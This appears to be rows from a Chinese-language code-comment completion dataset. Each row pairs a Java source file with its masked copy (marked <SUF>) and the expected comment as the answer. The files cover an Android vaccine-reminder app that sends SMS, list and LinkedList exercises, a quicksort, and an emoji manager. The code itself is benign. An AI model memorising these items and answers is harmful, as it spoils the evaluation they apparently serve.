@Override
public boolean canScrollVertically(){
return false;
}
};
mRecyclerView.setLayoutManager(linearLayoutManager);
final VaccineKnowAdapter adapter = new VaccineKnowAdapter(getActivity(),mNews);
adapter.setItemClickListener(new VaccineKnowAdapter.OnItemClickListener() {
@Override
public void onItemClick(View view, int position) {
// //TODO 跳转webview
ToastUtil.showShort(getActivity(),mNews.get(position).getUrl());
Intent intent = new Intent(getActivity(), WebNewsActivity.class);
intent.putExtra("url",mNews.get(position).getUrl());
startActivity(intent);
}
});
mRecyclerView.setAdapter(adapter);
}
private void initFragmentView() {
if(Configure.getUSERID(getActivity()).equals("")){
//未登录
addFragment(AddVaccineFragment.newInstance(),"setVaccine");
}else {
// 已登录
//判断有无baby
if(Configure.getBABYID(getActivity()).equals("")){
//未创建baby
addFragment(AddVaccineFragment.newInstance(),"setVaccine");
}else {
//用户当前有baby
BmobQuery<Baby> query1 = new BmobQuery<Baby>();
query1.getObject(Configure.getBABYID(getActivity()), new QueryListener<Baby>() {
@RequiresApi(api = Build.VERSION_CODES.N)
@Override
public void done(Baby baby, BmobException e) {
if(e == null){
if(baby.getVaccineList().size() == 0){
//当前无vaccine添加
addFragment(AddVaccineFragment.newInstance(),"setVaccine");
}else {
//当前有需要打的疫苗
addFragment(DisplayVaccineFragment.newInstance(),"DisplayVaccine");
}
Baby baby1 = baby;
mBabyList.add(baby1);
}else {
addFragment(AddVaccineFragment.newInstance(),"setVaccine");
//ToastUtil.showShort(getActivity(),e.getMessage());
}
}
});
}
}
// ToastUtil.showShort(getActivity(),"1 " + mBabyList.size());
}
private void initToolbarView(View view) {
mImageView_baby = view.findViewById(R.id.image_baby);
mTextView_baby_data = view.findViewById(R.id.text_baby_data);
if(Configure.getUSERID(getActivity()).equals("")){
//未登录
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请登录后添加宝宝!");
}else {
// 已登录
User user = new User();
final BmobUser user1 = BmobUser.getCurrentUser();
//判断有无baby
BmobQuery<User> query = new BmobQuery<User>();
query.getObject(user1.getObjectId(), new QueryListener<User>() {
@Override
public void done(User user, BmobException e) {
if(e == null){
if(user.getBabyId() == null){
//未创建baby
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请先添加宝宝!");
}else {
//用户当前有baby
BmobQuery<Baby> query1 = new BmobQuery<Baby>();
query1.getObject(user.getBabyId(), new QueryListener<Baby>() {
@Override
public void done(Baby baby, BmobException e) {
if(e == null){
mImageView_baby.setImageURI(Uri.fromFile(new File(baby.getImagePath())));
mTextView_baby_data.setText(baby.getName() + " | " + baby.getBirth().getDate().subSequence(0,10));
}else {
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请先添加宝宝!!");
ToastUtil.showShort(getActivity(),e.getMessage());
}
}
});
}
}else {
mImageView_baby.setImageResource(R.drawable.baby);
mTextView_baby_data.setText("请先添加宝宝");
ToastUtil.showShort(getActivity(),e.getMessage());
}
}
});
}
}
@Override
public void onAttach(Context context) {
super.onAttach(context);
}
@Override
public void onDetach() {
super.onDetach();
mListener = null;
}
/**
* This interface must be implemented by activities that contain this
* fragment to allow an interaction in this fragment to be communicated
* to the activity and potentially other fragments contained in that
* activity.
* <p>
* See the Android Training lesson <a href=
* "http://developer.android.com/training/basics/fragments/communicating.html"
* >Communicating with Other Fragments</a> for more information.
*/
public interface OnFragmentInteractionListener {
// TODO: Update argument type and name
void onFragmentInteraction(Uri uri);
}
public String getReultForHttpPost(String name,String pwd,String phone) throws ClientProtocolException, IOException,ParseException {
//服务器 :服务器项目 :servlet名称
//文字定时短信
String path="http://api.feige.ee/SmsService/Send";
String time = dateToStamp("2018-10-31 10:50:00");
HttpPost httpPost=new HttpPost(path);
List<NameValuePair>list=new ArrayList<NameValuePair>();
list.add(new BasicNameValuePair("Account", name));
list.add(new BasicNameValuePair("Pwd", pwd));
list.add(new BasicNameValuePair("Content", "尊敬的:" + phone + ",您预约在今天为您的宝宝接种疫苗,请及时前往哦!详细信息请进入禾苗APP查询。"));
//list.add(new BasicNameValuePair("SendTime", time));//日期格式的需要转化成时间戳
list.add(new BasicNameValuePair("Mobile", phone));
list.add(new BasicNameValuePair("SignId", "61242"));
httpPost.setEntity(new UrlEncodedFormEntity(list, HTTP.UTF_8));//与HttpGet区别所在,这里是将参数用List传递
String result="";
Log.d(TAG, "getReultForHttpPost: 发送");
HttpResponse response=new DefaultHttpClient().execute(httpPost);
if(response.getStatusLine().getStatusCode()==200){
HttpEntity entity=response.getEntity();
result= EntityUtils.toString(entity, HTTP.UTF_8);
}
Log.d(TAG, "getReultForHttpPost: 接收");
return result;
}
/*
* 将时间转换为时间戳
*/
public static String dateToStamp(String s) throws ParseException {
String res;
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date date = simpleDateFormat.parse(s);
long ts = date.getTime();
res = String.valueOf(ts);
return res;
}
}
| 0 |
28203_4 | package Txte;
import Gongsi.xiangmu.Dog1;
import org.junit.Test;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
public class Java3 {
@Test
public void f01(){
List list = new ArrayList();
list.add(new Dog1("大大","雪纳瑞"));
list.add(new Dog1("啊啊","拉布拉多"));
list.add(new Dog1("等等","土狗"));
list.add(new Dog1("弟弟","藏獒"));
list.add(new Dog1("威尔","柯基"));
System.out.println("共有"+list.size() +"条狗");
for(int i = 0;i<list.size();i++){
System.out.println(list.get(i));
}
//contains,remove如果不在Dog1中改写equals,那它就是比较的是地址,不会比较字符串,会出现false。
System.out.println(list.contains(new Dog1("威尔","柯基")));
System.out.println("---------------");
list.remove(new Dog1("啊啊","拉布拉多"));//返回的是真假
//list.remove(2);//返回的是Dog1("啊啊","拉布拉多")
System.out.println(new Dog1("啊啊","拉布拉多"));
System.out.println("----------------");
for(int i = 0;i<list.size();i++){
System.out.println(list.get(i));
}
}
@Test
public void f02(){
LinkedList list1 = new LinkedList();
list1.add(new Dog1("大大","雪纳瑞"));
list1.add(new Dog1("啊啊","拉布拉多"));
list1.add(new Dog1("等等","土狗"));
list1.add(new Dog1("弟弟","藏獒"));
list1.add(new Dog1("威尔","柯基"));
//首尾各增加一个
list1.addFirst(new Dog1("简爱","牧羊犬")) ;
list1.addLast(new Dog1("浪漫","二哈")) ;
for(int i = 0;i<list1.size();i++){
System.out.println(list1.get(i));
}
//首尾各读取一个()
System.out.println("-------------");
Dog1 dog1First = (Dog1)list1.getFirst();
Dog1 dog1Last = (Dog1)list1.getLast();
System.out.println(dog1First);
System.out.println(dog1Last);
for(int i = 0;i<list1.size();i++){
System.out.println(list1.get(i));
}
}
}
| 1223445667889/Java | JAVA6/src/Txte/Java3.java | 686 | //首尾各读取一个()
| line_comment | zh-cn | package Txte;
import Gongsi.xiangmu.Dog1;
import org.junit.Test;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
public class Java3 {
@Test
public void f01(){
List list = new ArrayList();
list.add(new Dog1("大大","雪纳瑞"));
list.add(new Dog1("啊啊","拉布拉多"));
list.add(new Dog1("等等","土狗"));
list.add(new Dog1("弟弟","藏獒"));
list.add(new Dog1("威尔","柯基"));
System.out.println("共有"+list.size() +"条狗");
for(int i = 0;i<list.size();i++){
System.out.println(list.get(i));
}
//contains,remove如果不在Dog1中改写equals,那它就是比较的是地址,不会比较字符串,会出现false。
System.out.println(list.contains(new Dog1("威尔","柯基")));
System.out.println("---------------");
list.remove(new Dog1("啊啊","拉布拉多"));//返回的是真假
//list.remove(2);//返回的是Dog1("啊啊","拉布拉多")
System.out.println(new Dog1("啊啊","拉布拉多"));
System.out.println("----------------");
for(int i = 0;i<list.size();i++){
System.out.println(list.get(i));
}
}
@Test
public void f02(){
LinkedList list1 = new LinkedList();
list1.add(new Dog1("大大","雪纳瑞"));
list1.add(new Dog1("啊啊","拉布拉多"));
list1.add(new Dog1("等等","土狗"));
list1.add(new Dog1("弟弟","藏獒"));
list1.add(new Dog1("威尔","柯基"));
//首尾各增加一个
list1.addFirst(new Dog1("简爱","牧羊犬")) ;
list1.addLast(new Dog1("浪漫","二哈")) ;
for(int i = 0;i<list1.size();i++){
System.out.println(list1.get(i));
}
//首尾 <SUF>
System.out.println("-------------");
Dog1 dog1First = (Dog1)list1.getFirst();
Dog1 dog1Last = (Dog1)list1.getLast();
System.out.println(dog1First);
System.out.println(dog1Last);
for(int i = 0;i<list1.size();i++){
System.out.println(list1.get(i));
}
}
}
| 0 |
14889_4 | package com.wangzhen.algorithm.sort.ans.quickSort;
import org.junit.Test;
/**
* Description: 这次,今天一定要把快速排序搞定
* Datetime: 2020/11/4 9:32 下午
* Author: 王震
*/
public class Solution {
@Test
public void test(){
int []array = {-74,48,-20,2,10,-84,-5,-9,11,-24,-91,2,-71,64,63,80,28,-30,-58,-11,-44,-87,-22,54,-74,-10,-55,-28,-46,29,10,50,-72,34,26,25,8,51,13,30,35,-8,50,65,-6,16,-2,21,-78,35,-13,14,23,-3,26,-90,86,25,-56,91,-13,92,-25,37,57,-20,-69,98,95,45,47,29,86,-28,73,-44,-46,65,-84,-96,-24,-12,72,-68,93,57,92,52,-45,-2,85,-63,56,55,12,-85,77,-39};
// int [] array ={3,4,5,1,6,7,8};
int []sortArray = sortArray(array);
for (int i = 0; i < sortArray.length; i++) {
System.out.println(sortArray[i]);
}
}
public int[] sortArray(int[] nums) {
quickSort(nums,0,nums.length-1);
return nums;
}
public void quickSort(int []arr,int left,int right){
if(left<right){
int part = partition(arr,left,right);
quickSort(arr,left,part -1);
quickSort(arr,part+1,right);
}
}
// 找到一个part 的值让part 右边的数据都比part大
// 让part 左边的数据都比part小
// 从右边向左找一个比part 大的值,从左边向右边找一个比part 大的值
public int partition(int []arr,int left,int right){
// 选取左边的数作为基准值
int part = arr[left];
int temp = left;
// 当left 和right 相遇就可直接退出
while (left<right){
while (left<right&&arr[right]>=part){
right --;
}
//arr[left] = arr[right];
while (left<right&&arr[left]<=part){
left++;
}
//arr[right] = arr[left];
swap(arr,left,right);
}
// arr[left] = part;
swap(arr,temp,left);
return left;
}
public void swap(int []a ,int i,int j){
int temp = a[i];
a[i] = a[j];
a[j] = temp;
}
}
| 1228857713/jvmOnJava | algorithm/src/main/java/com/wangzhen/algorithm/sort/ans/quickSort/Solution.java | 807 | // 从右边向左找一个比part 大的值,从左边向右边找一个比part 大的值 | line_comment | zh-cn | package com.wangzhen.algorithm.sort.ans.quickSort;
import org.junit.Test;
/**
* Description: 这次,今天一定要把快速排序搞定
* Datetime: 2020/11/4 9:32 下午
* Author: 王震
*/
public class Solution {
@Test
public void test(){
int []array = {-74,48,-20,2,10,-84,-5,-9,11,-24,-91,2,-71,64,63,80,28,-30,-58,-11,-44,-87,-22,54,-74,-10,-55,-28,-46,29,10,50,-72,34,26,25,8,51,13,30,35,-8,50,65,-6,16,-2,21,-78,35,-13,14,23,-3,26,-90,86,25,-56,91,-13,92,-25,37,57,-20,-69,98,95,45,47,29,86,-28,73,-44,-46,65,-84,-96,-24,-12,72,-68,93,57,92,52,-45,-2,85,-63,56,55,12,-85,77,-39};
// int [] array ={3,4,5,1,6,7,8};
int []sortArray = sortArray(array);
for (int i = 0; i < sortArray.length; i++) {
System.out.println(sortArray[i]);
}
}
public int[] sortArray(int[] nums) {
quickSort(nums,0,nums.length-1);
return nums;
}
public void quickSort(int []arr,int left,int right){
if(left<right){
int part = partition(arr,left,right);
quickSort(arr,left,part -1);
quickSort(arr,part+1,right);
}
}
// 找到一个part 的值让part 右边的数据都比part大
// 让part 左边的数据都比part小
// 从右 <SUF>
public int partition(int []arr,int left,int right){
// 选取左边的数作为基准值
int part = arr[left];
int temp = left;
// 当left 和right 相遇就可直接退出
while (left<right){
while (left<right&&arr[right]>=part){
right --;
}
//arr[left] = arr[right];
while (left<right&&arr[left]<=part){
left++;
}
//arr[right] = arr[left];
swap(arr,left,right);
}
// arr[left] = part;
swap(arr,temp,left);
return left;
}
public void swap(int []a ,int i,int j){
int temp = a[i];
a[i] = a[j];
a[j] = temp;
}
}
| 0 |
27926_7 | package com.yu.hu.emoji;
import android.annotation.SuppressLint;
import android.app.Application;
import android.util.Log;
import androidx.annotation.NonNull;
import com.yu.hu.emoji.entity.Emoji;
import com.yu.hu.emoji.repository.EmojiRepository;
import com.yu.hu.emoji.widget.EmojiRecyclerView;
import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* Created by Hy on 2019/12/27 19:49
* <p>
* 表情管理类
* <p>
* 建议application初始化时调用{@link #init()}提前进行初始化操作
*
* @see #matcher(String)
* @see #getEmojiRes(String) 获取表情资源id
* @see #getEmojiText(int) 获取表情对应文字
* @see #getAllQQEmoji() 获取qq表情
* @see #getAllEmoji() 获取emoji表情
**/
@SuppressWarnings({"unused", "WeakerAccess"})
public class EmojiManager {
private static final String TAG = "EmojiManager";
/**
* EmojiRepository
*/
private static EmojiRepository sEmojiRepository;
//匹配表情[**\tr]
private static final String EMOJI_REGEX = "\\[[qe]_[a-z0-9]+\\\\tr]";
private static final int DEFAULT_RECENT_EMOJI_NUM = EmojiRecyclerView.DEFAULT_SPAN_COUNT * 3;
/**
* 用于正则匹配
* <p>
* 在此处初始化是为了触发静态代码块
*/
private static Pattern sPATTERN;
//默认表情 - 微笑
private static final int DEFAULT_EMOJI = R.drawable.q_wx;
//由于static代码块发送在初始化阶段 所以需要调用一个init方法静态代码块才会执行
public static void init() {
//执行一次查询操作以触发callback回调
sEmojiRepository.queryAllByType(Emoji.TYPE_EMOJI);
}
//静态代码块执行在类初始化阶段,但是数据库操作是异步的,所以需要提前初始化才行
static {
Log.d(TAG, "static initializer: ");
sEmojiRepository = EmojiRepository.getInstance(getApplicationByReflect());
sPATTERN = Pattern.compile(EMOJI_REGEX);
}
/**
* 获取所有表情
*
* @see com.yu.hu.emoji.db.EmojiDatabase.InitTask
*/
@SuppressWarnings("JavadocReference")
public static Emoji[] getAllEmojis() {
return getAllEmojiList().toArray(new Emoji[0]);
}
private static List<Emoji> getAllEmojiList() {
List<Emoji> emojiList = new ArrayList<>();
//qq表情
emojiList.add(new Emoji("[q_wx\\tr]", R.drawable.q_wx, "[微笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_qx\\tr]", R.drawable.q_kx, "[苦笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_hc\\tr]", R.drawable.q_hc, "[花痴]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_dz\\tr]", R.drawable.q_dz, "[呆滞]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_cool\\tr]", R.drawable.q_cool, "[耍酷]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_dk\\tr]", R.drawable.q_dk, "[大哭]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_hx\\tr]", R.drawable.q_hx, "[害羞]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_bz\\tr]", R.drawable.q_bz, "[闭嘴]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_dks\\tr]", R.drawable.q_dks, "[打瞌睡]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_wq\\tr]", R.drawable.q_wq, "[委屈]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_gg\\tr]", R.drawable.q_gg, "[尴尬]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_fn\\tr]", R.drawable.q_fn, "[愤怒]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_tp\\tr]", R.drawable.q_tp, "[调皮]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_zy\\tr]", R.drawable.q_zy, "[龇牙]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_jy\\tr]", R.drawable.q_jy, "[惊讶]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_bkx\\tr]", R.drawable.q_bkx, "[不开心]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_cool2\\tr]", R.drawable.q_cool2, "[酷]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_lh\\tr]", R.drawable.q_lh, "[冷汗]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_zk\\tr]", R.drawable.q_zk, "[抓狂]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_ot\\tr]", R.drawable.q_ot, "[呕吐]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_tx\\tr]", R.drawable.q_tx, "[偷笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_ka\\tr]", R.drawable.q_ka, "[可爱]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_ws\\tr]", R.drawable.q_ws, "[无视]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_am\\tr]", R.drawable.q_am, "[傲慢]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_tz\\tr]", R.drawable.q_tz, "[馋]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_fk\\tr]", R.drawable.q_fk, "[犯困]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_jk\\tr]", R.drawable.q_jk, "[惊恐]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_liuh\\tr]", R.drawable.q_liuh, "[流汗]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_dx\\tr]", R.drawable.q_dx, "[大笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_jm\\tr]", R.drawable.q_jm, "[军帽]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_nl\\tr]", R.drawable.q_nl, "[努力]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_cj\\tr]", R.drawable.q_cj, "[吵架]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_yw\\tr]", R.drawable.q_yw, "[疑问]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_xu\\tr]", R.drawable.q_xu, "[嘘]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_yun\\tr]", R.drawable.q_yun, "[晕]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_zk2\\tr]", R.drawable.q_zk2, "[烦]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_dm\\tr]", R.drawable.q_dm, "[倒霉]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_klt\\tr]", R.drawable.q_klt, "[骷髅头]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_qt\\tr]", R.drawable.q_qt, "[敲头]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_zj\\tr]", R.drawable.q_zj, "[再见]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_ch\\tr]", R.drawable.q_ch, "[擦汗]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_kb\\tr]", R.drawable.q_kb, "[抠鼻]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_gz\\tr]", R.drawable.q_gz, "[鼓掌]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_j\\tr]", R.drawable.q_j, "[囧]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_huaix\\tr]", R.drawable.q_huaix, "[坏笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_zhh\\tr]", R.drawable.q_zhh, "[左哼哼]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_yhh\\tr]", R.drawable.q_yhh, "[右哼哼]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_hq\\tr]", R.drawable.q_hq, "[哈欠]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_bs\\tr]", R.drawable.q_bs, "[鄙视]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_wq2\\tr]", R.drawable.q_wq2, "[委屈]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_wq3\\tr]", R.drawable.q_wq3, "[委屈]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_hx2\\tr]", R.drawable.q_hx2, "[坏笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_qq\\tr]", R.drawable.q_qq, "[亲亲]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_jx\\tr]", R.drawable.q_jx, "[惊吓]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_kl\\tr]", R.drawable.q_kl, "[可怜]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_tp2\\tr]", R.drawable.q_tp2, "[调皮]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_xk\\tr]", R.drawable.q_xk, "[笑哭]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_bot\\tr]", R.drawable.q_bot, "[确定?]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_ku\\tr]", R.drawable.q_ku, "[哭]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_wn\\tr]", R.drawable.q_wn, "[无奈]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_ts\\tr]", R.drawable.q_ts, "[托腮]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_mm\\tr]", R.drawable.q_mm, "[卖萌]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_xyx\\tr]", R.drawable.q_xyx, "[斜眼笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_px\\tr]", R.drawable.q_px, "[喷血]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_jxi\\tr]", R.drawable.q_jxi, "[惊喜]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_sr\\tr]", R.drawable.q_sr, "[骚扰]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_xjj\\tr]", R.drawable.q_xjj, "[小纠结]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_wzm\\tr]", R.drawable.q_wzm, "[我最美]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_cd\\tr]", R.drawable.q_cd, "[菜刀]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_xg\\tr]", R.drawable.q_xg, "[西瓜]", Emoji.TYPE_QQ));
//emoji
emojiList.add(new Emoji("[e_kx\\tr]", R.drawable.e_kx, "[开心]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_yy\\tr]", R.drawable.e_yy, "[愉悦]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_qin\\tr]", R.drawable.e_qin, "[亲亲]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_han\\tr]", R.drawable.e_han, "[汗]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_ns\\tr]", R.drawable.e_ns, "[难受]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_ts\\tr]", R.drawable.e_ts, "[吐舌头]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_hei\\tr]", R.drawable.e_hei, "[嘻嘻]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_wp\\tr]", R.drawable.e_wp, "[顽皮]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_sf\\tr]", R.drawable.e_sf, "[舒服]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_nd\\tr]", R.drawable.e_nd, "[你懂]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_xh\\tr]", R.drawable.e_xh, "[喜欢]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_sad\\tr]", R.drawable.e_sad, "[伤心]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_lau\\tr]", R.drawable.e_lau, "[开心]", Emoji.TYPE_EMOJI));
emojiList.add(new Emoji("[e_xx\\tr]", R.drawable.e_xx, "[邪笑]", Emoji.TYPE_EMOJI));
return emojiList;
}
/**
* 匹配表情文字
*
* @param content content
*/
public static Matcher matcher(String content) {
return sPATTERN.matcher(content);
}
/**
* 获取表情res
* 若搜索不到则返回默认表情{@link #DEFAULT_EMOJI}
*/
public static int getEmojiRes(String emoji) {
int res = sEmojiRepository.getEmojiRes(emoji);
return res == 0 ? DEFAULT_EMOJI : res;
}
/**
* 获取表情对应的Text
* 若搜索不到则返回空串
*/
@NonNull
public static String getEmojiText(int emojiRes) {
String emojiText = sEmojiRepository.getEmojiText(emojiRes);
return emojiText == null ? "" : emojiText;
}
/**
* @return 所有qq表情
*/
public static List<Emoji> getAllQQEmoji() {
return sEmojiRepository.queryAllByType(Emoji.TYPE_QQ);
}
/**
* @return 所有emoji表情
*/
public static List<Emoji> getAllEmoji() {
return sEmojiRepository.queryAllByType(Emoji.TYPE_EMOJI);
}
/**
* 获取最近使用的表情
*/
@NonNull
public static List<Emoji> getRecentEmoji() {
return getRecentEmoji(DEFAULT_RECENT_EMOJI_NUM);
}
/**
* 获取最近使用的表情
*
* @param num 表情数
*/
@NonNull
public static List<Emoji> getRecentEmoji(int num) {
return sEmojiRepository.getRecentEmoji(num);
}
/**
* 记录最近点击时间
*
* @param emoji emoji
*/
public static void recentClick(Emoji emoji) {
emoji.recent();
sEmojiRepository.insertAll(emoji);
}
/**
* 通过反射获取到Application
*
* @return Application
*/
private static Application getApplicationByReflect() {
try {
@SuppressLint("PrivateApi")
Class<?> activityThread = Class.forName("android.app.ActivityThread");
Object thread = activityThread.getMethod("currentActivityThread").invoke(null);
Object app = activityThread.getMethod("getApplication").invoke(thread);
if (app == null) {
throw new NullPointerException("u should init first");
}
return (Application) app;
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
throw new NullPointerException("u should init first");
}
}
| 12313kaihuang/Demos | EmojiTest/emoji/src/main/java/com/yu/hu/emoji/EmojiManager.java | 4,225 | //静态代码块执行在类初始化阶段,但是数据库操作是异步的,所以需要提前初始化才行 | line_comment | zh-cn | package com.yu.hu.emoji;
import android.annotation.SuppressLint;
import android.app.Application;
import android.util.Log;
import androidx.annotation.NonNull;
import com.yu.hu.emoji.entity.Emoji;
import com.yu.hu.emoji.repository.EmojiRepository;
import com.yu.hu.emoji.widget.EmojiRecyclerView;
import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* Created by Hy on 2019/12/27 19:49
* <p>
* 表情管理类
* <p>
* 建议application初始化时调用{@link #init()}提前进行初始化操作
*
* @see #matcher(String)
* @see #getEmojiRes(String) 获取表情资源id
* @see #getEmojiText(int) 获取表情对应文字
* @see #getAllQQEmoji() 获取qq表情
* @see #getAllEmoji() 获取emoji表情
**/
@SuppressWarnings({"unused", "WeakerAccess"})
public class EmojiManager {
private static final String TAG = "EmojiManager";
/**
* EmojiRepository
*/
private static EmojiRepository sEmojiRepository;
//匹配表情[**\tr]
private static final String EMOJI_REGEX = "\\[[qe]_[a-z0-9]+\\\\tr]";
private static final int DEFAULT_RECENT_EMOJI_NUM = EmojiRecyclerView.DEFAULT_SPAN_COUNT * 3;
/**
* 用于正则匹配
* <p>
* 在此处初始化是为了触发静态代码块
*/
private static Pattern sPATTERN;
//默认表情 - 微笑
private static final int DEFAULT_EMOJI = R.drawable.q_wx;
//由于static代码块发送在初始化阶段 所以需要调用一个init方法静态代码块才会执行
public static void init() {
//执行一次查询操作以触发callback回调
sEmojiRepository.queryAllByType(Emoji.TYPE_EMOJI);
}
//静态 <SUF>
static {
Log.d(TAG, "static initializer: ");
sEmojiRepository = EmojiRepository.getInstance(getApplicationByReflect());
sPATTERN = Pattern.compile(EMOJI_REGEX);
}
/**
* 获取所有表情
*
* @see com.yu.hu.emoji.db.EmojiDatabase.InitTask
*/
@SuppressWarnings("JavadocReference")
public static Emoji[] getAllEmojis() {
return getAllEmojiList().toArray(new Emoji[0]);
}
private static List<Emoji> getAllEmojiList() {
List<Emoji> emojiList = new ArrayList<>();
//qq表情
emojiList.add(new Emoji("[q_wx\\tr]", R.drawable.q_wx, "[微笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_qx\\tr]", R.drawable.q_kx, "[苦笑]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_hc\\tr]", R.drawable.q_hc, "[花痴]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_dz\\tr]", R.drawable.q_dz, "[呆滞]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_cool\\tr]", R.drawable.q_cool, "[耍酷]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_dk\\tr]", R.drawable.q_dk, "[大哭]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_hx\\tr]", R.drawable.q_hx, "[害羞]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_bz\\tr]", R.drawable.q_bz, "[闭嘴]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_dks\\tr]", R.drawable.q_dks, "[打瞌睡]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_wq\\tr]", R.drawable.q_wq, "[委屈]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_gg\\tr]", R.drawable.q_gg, "[尴尬]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_fn\\tr]", R.drawable.q_fn, "[愤怒]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_tp\\tr]", R.drawable.q_tp, "[调皮]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_zy\\tr]", R.drawable.q_zy, "[龇牙]", Emoji.TYPE_QQ));
emojiList.add(new Emoji("[q_jy\\tr]", R.drawable.q_jy, "[惊讶]", Emoji.TYPE_QQ));
